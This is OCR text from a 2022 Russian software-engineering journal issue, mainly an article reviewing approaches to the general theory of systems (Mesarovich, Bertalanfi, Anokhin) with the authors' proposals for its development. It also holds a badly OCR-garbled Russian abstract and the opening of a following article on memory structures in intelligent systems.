CEA.2015.7164728.

22. Shah M., Ahmed S., Saeed K., Junaid M., Khan H.,
Rehman A. Penetration Testing Active Reconnaissance Phase —
Optimized Port Scanning with Nmap Tool, 2nd International Con-
ference on Computing, Mathematics and Engineering Technologies
(iCoMET), 2019, Sukkur, Pakistan, 2019, pp. 1—6. DOI: 10.1109/
ICOMET.2019.8673520.

"MporpammHas uHxeHepusa" Tom 13, Ne 5, 2022




Gurrent State and Prospects of Development
of the General Theory of 8vslems'

A. V. Boichenko, PhD in Technological Sciences, boichenko46@mail.ru, Plekhanov Russian
University of Economics, Moscow, 115093, Russian Federation, O. V. Lukinova, Dr. Sci. Tech.,
lobars@mail.ru, V. A. Trapeznikov Institute of control sciences of the Russian Academy of
Sciences, Moscow, 117997, Russian Federation

Corresponding author:
Boichenko Aleksandr V., PhD in Technological Sciences, Plekhanov Russian University of Economics,
Moscow, 115093, Russian Federation
E-mail: Boichenko46@mail.ru
Received on April 22, 2021
Accepted on March 23, 2022

In the article the approaches to the general theory of systems put by founders of this theory in the sixties of the last
century are considered. These approaches are considerably characteristic also of today’s submission of the general
theory of systems. These approaches can be classified on three conditional groups — mathematical approach to the
general theory of systems (M. Mesarovich, Y. Takahara), "physical" approach to the theory of open systems (L. von
Bertalanfi, Y. L. Klimontovich) and approach on the basis of functional systems (P. K. Anokhin). The approaches of-
fered by authors to further development of the general theory of systems and its practical application are considered.

Keywords: general theory of systems, mathematical approach to the general theory of systems, theory of open
systems, functional systems, approaches to development of the general theory of systems

For citation:

Boichenko A. V., Lukinova O. V. Current State and Prospects of Development of the General Theory of
Systems, Programmnaya Ingeneria, 2022, vol. 13, no. 5, pp. 219—225.

DOI: 10.17587/prin.13.219-225
YK 007.05 DOI: 10.17587/prin.13.219-225

A. B. Bon4eHko, kaHa. TexH. Hayk, aupektop HUWN "CtpaTternyeckne nHopmaymoHHble
TexHosnornn", boichenko46@mail.ru, Poccnnckmin akoHOMUYECKNin YHUBEPCUTET UMEHU

I- B. NMnexaHoBa, MockBa, O. B. JlykuHoBa, O-p TeXH. HayK, BeA. Hay4. coTp., lobars@mail.ru,
NHcTuTyT Nnpobnem ynpaenexHusa nm. B. A. TpanesHukoBa Poccuickon akagemun Hayk, Mockea

CoBpemennoe cocToAHNe 1 NepcneKTMBLI PasBuTia obuei
Teopiin CNCTEM

PaccmompeHsi nodxodbl K 0bwel meopuu cucmem, 3a5oXeHHble OCHo8amesisiMu 3mol meopuu 8
wecmudecsambie 200bl MPOWITI020 8eka. mu noOxo0bl 8 3Ha4YUMEbHOU Mepe xapakmepHsbi U 05151 ce200-
HsWHe20 ripedcmasrieHust obuwiell meopuu cucmem. [JaHHble noOxo0bl MOXHO Knaccuguuuposame Ha mpu
YCIO8HbIX 2pyrnnbl — MamemMamudeckul nodxo0 k obwel meopuu cucmem (M. Mecaposuu, 5. Takaxapa),
"ebusuyeckuli” nodxod k meopuu omkpbimbix cucmem (f1. gpoH bepmanarxgu, FO. JI. KnumoHmosuy) u
nodxod Ha ocHose ¢byHKUUOHanbHbIx cucmem (I1. K. AHoxuH). PaccmompeHsi npednazaembie asmopamu
nodxodbi K OanbHeliweMy pa3gumuro obuweld meopuu cuCMeM U ee rPaKkmu4yeCcKoMy rMPpUMEHEHUIO.

Knroyeesle crnoea: obuwas meopusi cucmem, MamemMamudeckull nodxo0 K obweli meopuu cucmem,
meopust OMKPbIMbIX cucmem, QoyHKUUOHa IbHbIE cucmeMbl, Mo0xo0bl K pasgumuro obueli meopuu cucmem

! The article is based on the materials of the report at the Seventh International Conference "Actual problems of Systems and Software

Engineering” APSSE 2021.
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Introduction

The classical period of development of modern
scientific knowledge lasts more than 300 years, since
works of I. Newton which "who for the first time
explained with almost divine force of the mind by means
of the mathematical method of the movement and a form
of planets, a way of comets, inflows and outflows of the
ocean. He the first investigated a variety of light beams
and feature of flowers, the following from here which
to it nobody even suspected. The diligent, penetrating
and truthful interpreter of the nature, antiquities and
the sacred writing, he glorified in the doctrine the
great almighty creator” (an inscription on a grave of sir
1. Newton).

The science of the classical period was practically
identified with two scientific disciplines. It is, first of
all, physics in which the mechanistic principle saying
dominated that whole there is a sum of separate parts,
and any studied natural object was represented with the
mechanism. Such method of a research well worked
at linear tasks with two variables and also, on the
basis of the 2nd law of thermodynamics, allowed to
find a solution for enough difficult isolated objects.
However, tasks with unorganized complexity, i.e., those
which internal organization could change dynamically
depending on influence of external factors hesitated.
It is clear, that there was not enough accounting of
any other factors. What? The answer is given in [1]:
"...only the external agent influencing system .S can be
such cause".

On the other hand, biologists, researchers of live
objects put forward the organismic theory relying
on teleology which originates from Aristotle and the
doctrine about Kant’s expediency. The basic principle
of organicism is that live "organisms are organized
phenomena"” [2]. This organization is a form of the
self-organization developing from simple to more
difficult and is defined by existence of purposeful
behavior due to realization of property of openness
(that classics specifically understood as openness
and representation of authors of this work in this
question, it will be described below). Living system
in [2] is defined as hierarchically organized open
system keeping itself or developing in the direction of
achievement of mobile balance. So, there is a theory
of open systems which became subsequently a part
of the general theory of systems (GTS) and capable
to explain features of living organisms and social
groups.

Thus, the contradiction between two conceptual
ways of scientific thinking and methods of scientific

research, and unfitness of "mechanism" as universal
model is available.

The second factor which led to emergence of the
theory of systems was desire of researchers to counteract
division of science into the mutually isolated specialties.
By the way, this problem exists fully still: the number
of separate sciences is so high now that often their
representatives just objectively cannot understand each
other in special questions.

At last, with development of industrial production
before science and technology there was a problem
of systematic study, design, operation of difficult
objects that demanded development of new
methodological bases, theories, principles, analysis
methods.

Thus, there is a need for creation of new universal
models in the form of the general theory of systems
as conceptual learning tool and designing of difficult
objects and phenomena. The general theory of systems
began to develop from 50th years of the last century and
is connected, first of all, with a name of the Austrian
biologist L. Bertalanfi who as it was stated above,
formulated the basic principle of organicism, developed
the theory of open living systems, it is considered the
founder of the generalized theory of systems (in the
form of GTS). Some of bright researchers of living
organisms, along with Bertalanfi, can consider the
largest Soviet physiologist, the founder of new branches
of science about a brain P. K. Anokhin who entered
into system approach of a concept of a backbone factor,
on its basis — a functional system and developed
fundamental issues of the general theory of functional
systems [3, 4]. Later also concepts of other authors —
W. Ross Ashby, O. Lange, R. Akoff, M. Mesarovich,
A. 1. Uyemov, A. A. Malinovsky, A. A. Lyapunov,
Y. L. Klimontovich, etc. gained fame, each of whem
was adapted by the principles of system approach for
those fields of fundamental and applied science in which
they conducted researches. Here it is necessary to mark
out especially U. R. Ashby who was quoted above and
also M. Mesarovich [5], who gave the formal description
GTS.

The fact that is told above belongs to formation of
the general theory of systems. The ideas formulated in
works of these researchers gave an impetus to reasonings
of authors of article and a basis for further development
of ideas of the categorial device GTS.

As for researches of systems within separate sciences
and, first of all, philosophy, to them at least two and
a half thousand years from Platon and Aristotle.
It is possible to look at significantly more retrospective
reviews, for example, in [6, 7].
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1. Current state of GTS

1.1. About a role of the observer for a concept
of a system of the classical theory of a system

The central concept GTS (or system approach) is
the concept of what is a system. "System" belongs to
number of the terms which are most widely used in
various scientific and practical types of activity with
obviously not coinciding values: the formalized sign
systems studied in logic and mathematics and such
systems as a living organism, technical or modern
control systems, it is hardly possible to consider as
types of the same concept.

Then there is a question if it is about a system, then
what can be "physics” of a system? Why in GTS all these
types approach under a concept a system? The answer to
this question is historical: as follows from the analysis of
the factors which led to emergence of system approach
as the formulated outlook, the concept of a system
arose in the depths of experimental science as way of
studying the nature. Such process demands presence of
the experimenter/researcher/observer. In [8] the author
defines a system as "any essence, conceptual or physical
which consists of interdependent parts ... and can show
activity, i. e., having behavior (behavioral system)". At
the same time, it is such behavioral systems which "are
a subject of management from people” and also consists
of parts, "each of which finds own behavior". And
depends only on the researcher he considers conceptual
or physical essence as a system or not. The problem
of experimental science is to allocate in, actually,
isolated for study from the external environment, a
difficult natural object which, is described by many
characteristics, those which the experimenter wants
and can investigate, describe the relations between
characteristics of yRx, and, it is desirable, in the form
of formal functional dependences of y = F(x). Thus,
here the system is understood as some abstract essence
(but not a real natural object) between which elements
some relations are entered.

Real objects of live and inanimate nature, a
technosphere are systems in the absence of the observer or
not? Today in the theory of systems the observer is, actually,
the main distinctive sign, and the nature of a system is
always speculative, abstract that confirms the definition of
a system given by M. Mesarovich [8]: "For this family of
sets of X = {X|, X,} the system (abstract system) is defined
as the relation on X, that is § < X; x ... X X, where "Xx"
designates Cartesian product of sets. Sets X, ..., Xj, on
whom the relation is defined are called objects. Every X;
represents full set of all manifestations of some attribute
(or experiments with this attribute) the considered real-

life phenomena". This definition is substantial means the
specification of a system by definition of the relations
connecting values which can accept the X; attributes of
the studied object.

1.2. About a role of criterion function

The following question which still causes a
controversy at apologists of system approach in various
areas is a question: what separates a system from not
a system?

Classics of GTS give various definitions, here, for
example, some of them.

1. Bertalanfi: "...the system is a complex of the
elements which are in interaction" [2].

2. Stafford Beer suggested to determine systems at
the same time by two signs — degrees of complexity
of systems and to the nature of their functioning:
determined or probabilistic [10].

3. In [11] it is claimed that "a system in the broadest
sense everything that can be considered as separate
essence can be resolute. For example, the Universe
in general is a system. Systems are physical objects,
processes and concepts. At the same time the cheese
piece, hatred and Markov process taken together do
not make a system".

4. M. Mesarovich, as shown above, defines a system
by definition of the relations connecting values which
can accept X;attributes of the studied object [12].

So various approaches to definition of a system are
connected with absence in definition of a basic factor
which can be criterion of to define a concept of a system
and its distinctive signs. About it the academician
P. N. Anokhin in the work "Fundamental issues of
the general theory of functional systems" directly
specifies [3]: "Such obligatory situation for all types
and the directions of system approach is search and
a formulation of a backbone factor. This key problem
defines both a concept of a system, and all strategy
of its application of research. .... its operational value
for formation of a system will be how fully described".
Defining a role of a backbone factor in the form of
useful result of a system, P. K. Anokhin submits the
theory of biosystems and calls such systems functional:
"Such imperative factor using all possibilities of a system
is the useful result of a system. .... The sufficiency or
insufficiency of result defines behavior of a system: in case
of its sufficiency the organism passes to formation of other
functional system with other useful result representing the
next stage in a universal continuum of results " [3].

It should be noted that later M. Mesarovich within
the formalism entered above, also enters a concept of
the purpose a(G, 7, R) for the § = X X Y system,
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the having entrance of X and an exit of Y, by means
of: introductions a) criterion function of G(s) which
defines the required condition of a system; b) function
of admissibility 7(x) imposing, actually, restriction
for a set of values in terms of satisfaction of criterion
function; c) the relation of R which estimates degree
of approachability of criterion function on a subset of
values. Mesarovich’s merit is that he not only entered
criterion function, but also defined the formal bases for
assessment of extent of achievement of the goal on any
given input data, i.e., defined category of behavior of a
system, effective in terms of achievement of the goal.
However, entering criterion function, he did not define
its role and the importance as backbone factor as it is
noted at P. K. Anokhin.

Thus, after P. K. Anokhin and M. Mesarovich and
at the same time in peak to them, one may say, that
the system only then is a system when it possesses a
backbone factor in the form of criterion function.

There is a question further: and criterion function
is defined by someone from the outside or the system
can develop criterion function and define the behavior
that this purpose to reach?

The answer to this question has world outlook
character. Because if to assume that criterion function
is a prerogative of the external agent [12], everything in
the world can be considered systems [11], then we have
to depart from material positions and allow Absolute
existence. Then the concept of a system includes objects
of both live, and inanimate nature, and the role of the
observer takes only the modest place in the course of
knowledge and brings only subjectivity. By the way,
ancient Greeks (Aristotle, Socrates considering that the
way of existence of all real is defined by existence of the
purpose) were closest to such thesis. If the system itself
is capable to generate to itself criterion function, then
it gains a certain subjectivity and then we or we limit
a set of systems to wildlife, or, on the basis of [11], we
allow existence, conditionally, "souls" at lifeless objects,
including a technosphere, i. €., we also pass to idealism
positions.

P. K. Anokhin takes into account only technical
and biosystems, leaving inanimate nature beyond the
scope of reasonings: "Practically for all cars the object
is set outside the car and for it only some ability of
self-organization in the course of obtaining the result
programmed not by it is allowed. The biosystem even of
very simple hierarchy itself, on the basis of the internal
processes, makes the decision on what result is necessary
to its adaptive activity at present” [3].

The following question which has basic value it is
understanding that criterion function is that factor which

orders "interaction of elements" of Bertalanfi that only
way which defines "a self-organizing system" at Ashby,
providing transition from "unorganized to organized", i. e.
from interaction chaos to a system [13]. In other words,
criterion function defines structure of a system, i. e., that
structure of elements and those relations between them
which are necessary for providing criterion function at
present. It is necessary to notice that Mesarovich also
defined presence of structure at a system, but defined it
from purely formal positions as "result of generalization
of the relation describing a system" [12].

1.3. Property of openness of a system

The major sign in terms of understanding of
internal essence of a system is qualities of openness/
isolation of a system. Classics differently estimated the
importance of this question. So, at Ch. Churchman [14]
"the generalized system is the closed system remaining
closed in all possible environments. In other words,
the generalized system is characterized by absolute
resistance to changes of the environment". Across
Mesarovich the system has this property. At the same
time the openness is understood as the fact that in
the assumptions which become about properties X;
(and which we check experimentally) some essentially
important components are lowered, for example, the
smaller number of formal objects X is considered, X,
than it is necessary. As typical examples of open systems
he considers:

1) the systems which are not completely isolated from
the environment (a system with external "indignations"
or uncertainty);

2) the systems reacting to a pilot study in such a way
that it causes significant change in their behavior (the
self-adapting and self-organizing systems);

3) systems with which the experimenter interacts
bilaterally, i. e., influencing a system, he at the same
time is affected from its party.

That is the system here, actually, is isolated from
the external environment.

Bertalanfi in [2] emphasizes: "The Self-differentiated
systems developing in the direction of more and more
high complexity (by reduction of entropy), are possible —
for thermodynamic reasons — only as open systems,
that is systems into which the substance containing
free energy is included in quantity bigger, than it is
necessary for compensation of growth of entropy caused
by irreversible processes in a system ("introduction of
negative entropy")". At the same time in open systems
in which there is a substance transfer the input of a
negentropy is quite possible. Therefore, similar systems
can keep the high level and even to develop towards
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increase in an order and complexity that really is one
of the most important features of vital processes [14].

Closest, according to authors, U. R. Ashby who
entered new definition of a system as "cars with an
entrance”, that is "the system open for information,
but closed for transfer of entropy” [1], that explains the
reasons of self-organization of a system approached
the real situation. Unfortunately, the thought that
the open system is open for information, in further
representations of classics of GTS was leveled under the
influence of thermodynamic reasons which prevailed
for that period in science.

Here it is necessary to talk about differences in
interpretation of a concept of openness of different
areas. Bertalanfi entered a concept of an open system
as the system exchanging with the external environment
matter and energy (for this reason Bertalanfi approach
is called "physical" approach to GTS). In the field of
information systems, by definition of IEEE POSIX
1003.0 Committee an open information system is called
the system realizing open specifications on interfaces,
services and the supported formats of data (this referral
was got still by the name of functional standardization).
Definition of POSIX gives the chance of realization
in information systems of so-called properties of
openness — expansibility of scalability, shipping of
applications, data and personnel, interoperability of
systems.

1.4. Internal management of a system

The fact that the system possesses internal
management, was for the first time mentioned by
M. Mesarovich at the description it a purposeful
system [12] when claimed that if system .S possesses the
purpose o, then it can make decisions, i. €., it possesses
internal management. Such system carries out purposeful
process for the benefit of the purpose o(G, T, R)
and characterized by such properties as the training
(adaptation) directed to reduction of uncertainty of U
as self-organization, i. e. process of change of structure
of purposeful process. Unfortunately, what represents
decision-making process as a basic element of an
administrative cycle, was not presented by Mesarovich.
Probably, it is explained by those circumstances that,
first, only, since 80th years of the last century the theory
of making management decisions allowing to receive
and analyze qualitative (not quantitative) information is
formed. These are such methods as expert estimation,
multicriteria analysis, informative analysis of situations,
etc. The second factor, significant for implementation
of management, is an understanding of essence of
information necessary for decision-making. And in

this regard only in 1989 after R. L. Akoff’s speech
at inauguration of society International Society
for General Systems Research [16], in information
sciences, including such scientific discipline as
artificial intelligence, there were ideas of information
hierarchy of levels of a maturity of information of
DIKW (data, information, knowledge, wisdom) where
each level adds certain properties to the previous level.
Here in the basis, there is level of data, information
adds a context, knowledge defines use mechanism
("as"), and wisdom — terms of use ("when"). Such
differentiated approach to "device" of information
allows to approach an internal administrative cycle
at the conceptual level.

It is also necessary to mention works of one of
outstanding scientists of domestic psychology of
V. N. Pushkin who formulated the theory of operational
thinking [17, 18]. Within this theory it is shown that from
the psychological point of view management of behavior of
the person is connected with construction in structures of
a brain of information model of the outside world within
which management process on the basis of perception by
the person of information from the outside and already
available experience and knowledge is carried out.

1.5. Generalization of basic provisions of GTS

Generalizing the results stated above, it is possible
to tell the following.

Uniform, divided if not by everything then most
of scientists, the generalized theory of systems did not
turn out today, despite essential, approximately general
provisions. In each of approaches the emphases are
placed on different aspects.

Thus, modern representation of GTS can be
classified on three directions — mathematical, "physical”
(Bertalanfi, Klimontovich) and the theory of functional
systems (Anokhin).

1.5.1. Mathematical approach

The abstract system through the description of
properties of its attributes and their values (set-theoretic
and linguistic) the Concept of the purpose (criterion
function) of a system is considered by formal ways
though its importance is mentioned, but does not enter
the formal description of a system. Founders of this
direction M. Mesarovich and Y. Takahara [5, 9, 12].

1.5.2. "Physical" approach
or theory of open systems

The main thing here is an exchange of substance and
energy between a system and the external environment. At
the same time the reasons of this exchange, methods, ways
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and instruments of exchange especially are not considered.
Also, criterion function is not considered in this context.

Founder of this direction is L. von Bertalanfi [2, 15].
Significant development of this approach in the
field of physics belongs to the Russian scientist
Y. L. Klimontovich [19].

1.5.3. Theory of functional systems

The founder of this direction is P. K. Anokhin [3, 4].
The main thing here — useful result of functioning of
a system. At the same time, it is not absolutely clear —
useful result is that it? How this result is connected with
criterion function? How at the expense of what and as
this useful result is achieved?

2. Prospects of development
of the general theory of systems

At once we will notice — in this section the position
of authors of this work which is based on work of one of
authors [20], experience of authors on design of information
systems and researches in computer sciences is stated.

What it would be desirable to tell at once is an
expediency of attempt of association of all three GTS
directions stated above, but on the basis of some shift
of accents and introduction of some new campaigns.

The first is a consideration of criterion function as
it was stated above as backbone function. There is no
criterion function — there is no system. We cannot
know about some objects their criterion functions, but
so far we do not know them, we should not consider
these objects as systems (it does not mean that we should
not look for these criterion functions).

The second — to shift focus of a concept of openness
of a system to criterion function — the open system is
such system which cannot realize the criterion function
without the external environment (the closed system —
the return case).

The third — if to accept the first two points, then
arises a question as well as what means the system will get
from the external environment that it is necessary for it
for realization of criterion function. According to authors
it is implemented through information exchange between
a system and the external environment (DIKW model).

The fourth — depending on strategy (which a system
has to be had) the system has to be capable to constantly
decomposition criterion function and to make decisions
(on the basis of training and development of ontological
models of the outside world) on interaction with the
external environment for realization of decomposition
criterion function. Here it is possible to use practices
in the field of the theory of decision-making.

The fifth — for comparison of uniform objects of rather
decomposition criterion function the system has to have an
opportunity to use the device of multicriteria estimation
not to get into position of the Buridanov’s donkey.

These are contours of development of the general
theory of systems. In each of these directions a huge
number of questions for researches seems. Nevertheless, it
can set base and a framework for development of the GTS
and its possible applications in a large number of areas.

Conclusion

Importance of the general theory of systems
for the solution of world outlook problems and
practical application of this theory in creation and
ensuring reliability of technosphere (first of all in
the field of development of information systems,
artificial intelligence) it is difficult to overestimate.
Development of this theory can give huge jump in
these directions. Until we still not really far left in
this theory ancient Greeks who defined a system
as something, consisting of the parts which are in
the relations and communications with each other
(structure of a system) and who form a certain value,
unity (criterion function). Without development of
what was created by founders of the modern theory
of systems, we will remain approximately at the same
level of constructability of this theory in terms of its
practical use, as ancient Greeks.
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Perynapubie CTPYKTYPbI NAMATI 1 JOMEHbI onepaiymii
MHTEEKTYa)IbHbIX CNGTEM

OnpedeneHo noHamue peaynsapHol obracmu namsamu uHmesnnekmyasnbHol cucmemsbl. OCHO8Y onu-
caHul cmpykmyp namsimu, MpUMeHsIeMbIX 8 maKux cucmemax, ornpeodessiem yHugepcarsbHbIl hopmam
npedcmasrieHusi 3HaHull 8 hopmanuamax cemaHmu4yeckux uepapxul. ®opmam eceli namsamu pearnu-
3yem 6ecKOHe4YHoe HacblweHHoe buHapHoe Oepeso, epwuHaMuU KOmopo2o s18/15lomcsi 080UYHbIE Ha-
60opbi. OmdenbHbie obnacmu namsimu 3adaromcs € UCMofIb308aHUeEM peayrsipHbIX 8bipaxkeHul. Besikoe
8blpakeHue orpedersisiem cemMelicmeo 8epUWUH, pacwupsiemMoe 80 hpazmeHm depesa, — pe2yrsipHyro
obnacmb namsimu. Obnacmu coomeemcmeyem Knacc 3HaHuli (DomeH). PeaynsipHoe 8bipaxkeHue 3a-
Oaem epaHuubl cmpykmyp npedcmassieHuli 3HaHUl makoao Knacca. PeeynspHblie obnacmu namsamu
obobwarom cucmemy Kriaccog oMeHo8 MopghuamMos, paspabomaHHyto 05151 popmasiuamos8 ceMmaHmu-
yeckux uepapxul. MiccnedosaHue peaynapHbIX cmpykmyp namsmu criocobcmeyem paspabomke u uc-
MoIb308aHUI0 crieyuarnbHbix cpedcme ModenuposaHuUsi op2aHu3ayuu namMsmu U rnpoyeccos MbIUIeHUSs 8
cucmemax uckyccmeeHHo20 uHmernnekma. Cessb pe2yrspHbIX 8blpa)eHuUll ¢ KOHeYHbIMU asmomMamamu
obecrneqyusaem 803MOXHOCMb 3¢hchekmugHO20 ModenuposaHus ornepayuli obpabomku u npoyeccos
Momokoe 3HaHud.

Knroyeenle cnnoea: chopmanusm 3HaHul, Mopgu3m 3HaHul, domeH mopgusma, peayrnsipHas obracme

namsimu, ornucaHue cmpykmypbl namsmu

BeepneHune

I KOHCTPYMPOBAHUS MaTeMaTHYEeCKUX MOJIE-
Jielt mHTeanekTyaabHbix cuctem (MC) nmpuMeHsOT
cpeacTBa GopMabHOIO ONMUCcCaHUs (MpeacTaBJaeHMsI)
3HaHUi (popmanuamMel). OHU OIpeaEIIOTCS KaK CIie-
LUaJbHbIe ajiredpanyeckue cuctemsl [1]. MHBapuaH-
THI (OPMaTN3MOB CBSI3aHBI C OTpPaXXeHWEM pPa3HBIX
aCIeKTOB IMOHATHUS 3HaHUs. OOLIMMU CBOMCTBAMM
(bopManu3MOB ABISIOTCS KOHCTPYKTUBHBIM Xapak-
Tep MHOXECTB aOCTpaKTHBIX 3HAHWH, CIelaIbHBIX
npenrkKaToB U Mpeodpa3oBaHUl (MOPp(HU3MOB) OIS
TaKuX 3HAaHW#. B yTOUHEHMSIX CTPYKTYPHBIX U QYHK-
IIMOHAJIBHBIX CBOMCTB 3HAHUM IIPUMEHSIOT MIOHSITUS
U KOHCTPYKIIMM M3 pa3HbIX o0jacTeil MaTeMaTUKU.
IlocnenHue COOTBETCTBYIOT CYLIHOCTSIM MOJeJeH,
KOTOpPBIE CBSI3aHBI C M3YUYEHHUEM CTPYKTYp MTaMSATH
¥ IPOIIECCOB MEIIIIJICHUSI. YHUBepcalbHas abcTpaKT-
Has moaenb UC saBisieTcss MHOTONMpeaAMETHONH. DTUM
obecreuynBaeTcs MOJTHOTA U LIETIOCTHOCTh MOJENPO-
BaHUS Pa3HBIX IIPEICTABICHUI O CBOMCTBAX WHTEI-
JIEKTyaJbHOCTH [2].

OnemeHtamu monenu MC saBasgioTcs obaacTy ma-
MSTH OTAEJIBHBIX KOMIIOHEHTOB, CUCTEMBI OTIepaIlnii
7 TIpOIeCCOB 00pabOTKM 3HAHMIA, a TAKXKe areHTHI,
yHOpaBigIoliie XU3HEHHbBIMU LIUKJIAMU CUCTEMBI.

OCHOBY MHBapMaHTOB MOJEJU COCTaBJSOT ¢opma-
JIN3alMM MOHSITUN M MPUHLMUIIOB TaKUX obJjacTei,
KakK KOTHUTHUBHAas TCUXOJIOTUS W JMHTBUCTHUKA.
VnpaBnenne cyObeKTHBIM cyliectBoBaHueMmM MC
B COOTBETCTBYIOIIEH 00J1acCTU 3HAHUI MOJETUPYETCS
B MHBapuaHTaX 1 NpUHLUIIAX KUOEPHETUKU U OOILLei
Teopuu cucteM. PaccMoTpeHHast cucteMa MHBapuaH-
TOB MOJEIM JOMYCKaeT TpaHCGhOpMallMIO B MOIEIHU
npukaaaubix UC, nonnep:kMBaoIMX BO3MOXHOCTh
MOJTHOYHKIIMOHAJIBHOTO MOAEIMPOBAHUS JBOWHU-
KOB MHTEJIJIEKTYaJIbHBIX CYLIHOCTE! B OTAEIbHBIX 00-
JIacTSIX 3HaHU [2].

TpaHchopMaust abCTpaKTHOM MOAEIN B MOJEIN
npukiaaHbix MC peanusyercss MophusMaMu TomMo-
MOpPGHOro pacluMpeHusi ee 2J1eMeHTOB. KoHKpeTHbIe
pacuupeHus odpa3yloT NMPOMEXYTOUYHBIE MOIEIH,
aJanTUPOBAaHHBIC K OCOOEHHOCTSIM 00IacTell 3HAHUIA.
HMHcTpyMeHTHl TpaHCchopMallud MoJesei BKIloYa-
IOTCS B CX€MbI TEXHOJIOTUU KOHCTPYMpPOBaHUS (op-
ManbHBIX Moaeneir UC pa3Horo ypoBHsa. KubepHe-
TUUYECKUE MHCTPYMEHTHI peasiu3aluu liejeil cucteM
MO3BOJISIIOT (DOPMUPOBATH HHBAPUAHTHI CYyOBEKTHOTO
CYIIECTBOBAHMS U B3aUMOIEHCTBUS CUCTEMBI C 00-
JIACTSIMU 3HAHU.

CTpyKTypa opraHu3aluy NaMsITU B KOMITOHEH-
tax UC siBnsieTcst aTpuOyTOM MaMsITU aOCTPaKTHBIX
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mogelieil. Takasi cTpyKTypa cBsi3aHa C MHBapUaHTOM
aJiredopanyeckoi CTpYKTYpPbl 3HaAHUS B IPOU3BOJIbHOM
¢dopmanusme 3HaHUN (CEMaHTUYECKUX MepapXuii).
CTpyKTypbl 3HAHUI TPAaHC(HOPMUPYIOTCS B CUCTEMBI
obOsiacTeil 1 hopMaThl MpeACTaBICHUS 3HAHUI B Ma-
MATH KomMnoHeHTOB UC mJisl pa3HbIX 3TAmoB Cylie-
cTBoBaHUS cucTeM. CTPYKTYpBl MaMSATH OTAEIBHBIX
koMnoHeHTOB MIC cOOTBETCTBYIOT IOMEHAM oreparuit
U TIPOLIECCOB CMHTEe3a 3HAHMH B TAKMX KOMIIOHEHTaX
U MOTOKaX 3HAaHUI MeXIy KOMIIOHEHTaMU. JloMeHBI
00BEAMHSIIOT MHOT000pa3usl 3HAaHU I OJIU3KOM CTPYK-
TYpbl, IPUMEHSIEMbIE JJI51 MOACIUPOBAHUS Pa3HbBIX
TUIOB TpaHCGhOPMaLMU CTPYKTYp 3HAHMUI MpHU pea-
Juzauuu uenei u onepauunii UC.

MHoroo0pa3nue 1o0MeHOB MOP(GU3MOB CEMaHTHYe-
CKMX MepapXuil BKIoYaeT OOIIMPHBINA SMITUPUIYECKH
dopmupyembiii ¢pparmeHT. EMY COOTBETCTBYIOT [I0O-
MeHBbI MOpPGhU3IMOB, aJaNTUPOBaHHbBIE K (popmaTam
HWCXOIHBIX MaHHBIX U pe3yJbTaTaM coaepKaTeJbHbIX
ornepaiuii, a TakxXe aJropuTMaM peaan3aluy TaKux
onepaumii. Cneuudukalum oTaeabHbIX TOMEHOB pac-
CMaTpUBaeMOro MHOroo6pa3usi pa3HOPOJHbIE U Cla-
00 cBs3aHHBIe MeXay coboii. CeMeliCTBO TOMEHOB
3aMKHYTO OTHOCUTEJIBHO OTEpannuil MpssMOni CyMMBbI
U npousBeaeHUs 6a3 [2]. OnepauusiMu CyMMbl MO-
JNEJIUPYIOTCS CXEMBbl UHTErpaliy 3J€MEHTOB 3aJaH-
HBIX JOMEHOB B OOIIYI0 CTPYKTYpy. IIpousBenecHue
JIOMEHOB COCTOUT B (POPMUPOBAHUU KJIACCOB 3HAHU,
MoJiy4yaeMblX 3aMEHOU BUCSYMX BEPLIUMH CTPYKTYP
3HAHU I NIEPBOro JOMeHa Ha CTPYKTYPHBIE TIpeacTaB-
JIeHUSI 3HaHU# BTOPOTO JOMEHA MPOU3BEIECHMUSI.

Llenb paboThI, pe3yabTaThl BHIIOJIHEHUSI KOTOPOM
MpeacTaBieHbl B CTaThe, — CO3AaHKUe 0000I11aIolIero
MOAX0/a K ONMCAaHUIO KJIacca TOMEHOB OIepaluii 00-
pabOTKU CTPYKTYypUpPOBaHHbIX 3HaHU. [Toaxom ocHO-
BaH Ha OMMCAHWU CTPYKTYp (pparMeHTOB OECKOHeu-
HBIX OMHApHBIX I€PEBbEB, B KOTOPHIX pa3MelIaroTCs
9JIEMEHTBHl KOHKPETHBIX TOMEHOB. DJIEMEHTbl TaKMX
(bparmMeHTOB cocTaBasOT obnactu namsitu UC, npen-
Ha3HauyeHHbIe 51 GOpMUPOBAHMUS U pa3MelIeHU S
CTPYKTYpPUPOBAaHHBIX 3HaHUN. CTPYKTYyphl 3HAHUN
alarTUPOBaHbI K (popMaTaM AJaHHBIX MOJAEIUPYEMBbIX
orepaluit 06pabOTKU 3HAHU, TPUMEHSIEMbIX IJIs
peanuzanuu ueneit u 3agad YUC. JlomeHbl MOpGU3MOB
BKJIIOUYAIOTCSI B OMUMCAHUS CTPYKTYP MaMsTU KOMITIO-
HeHTOB UC. CTpyKTYpBI CBSI3aHBI C IIpolLiecCaMy pas3-
MeEIIeHMsI, U3BJICYCHUSI U TpeoOpa3oBaHUsI 3HAHMH,
BBITIOTHSIEMBIMU B COOTBETCTBYIOIIMX KOMIIOHEHTAX.
OnucaHus CTPYKTYp NaMsITH 3a1a10TCS CriellialbHbl-
Mu ¢opmyiaamu. PopMupyemasi cucTeMa obacreit
MaMsITA MOXET pacCMaTPUBAThCS KaK TOMOJIOTUS OT-
KPBITBIX MHOXECTB Ha MHOXECTBE BEPIINH O€CKOHEY-
Horo 6uHapHoro aepesa. Ornepaiyu U CBOMCTBA TaKOi
TOIIOJIOTMHU AOITYCKAIOT MHTEPIPETALMI0, OCHOBAaHHYIO

Ha MHBapMaHTax aJredpanyeckoil 1 ceMaHTUUYECKON
CTPYKTYP 3HaHU, Onepaluii ¥ MpoLeccoB 00pabOTKU
3HaHuit B namsatu UC.

Hns onucanus ctpykryp namsitu UC nanee OyayT
MPUMEHSThCS (OPMYJIbI, COCTaBAEHHbBIC U3 TOMEHOB
onepanuii B UC u onepaliit KOMOMHUPOBAHUSI IOMe-
HoB. Bcesikast hopmynia onpezensier pa3orueHre naMsaTu
KOMIIOHEHTA Ha MoA00/1acTy, B KOTOPbIX Pealnu3yoTcs
orpeJeIeHHbIE ONepallii Hall 3HAaHUSIMU [IJIs1 BpeMe-
HU cyiiectBoBaHUS MIC. @opMyJIbl CTPYKTYP NaMITHU
SIBJISIIOTCSI ”HBapUaHTaAMU CXEM YITPaBJIEHUS MaMSIThIO
koMmioHeHToB UC, mpuMeHseMbIX B a0CTpaKTHOIH MO-
JeJIV TaKUX cucTeM. Pa3BuTue U u3MeHeHUe CTPYKTYP
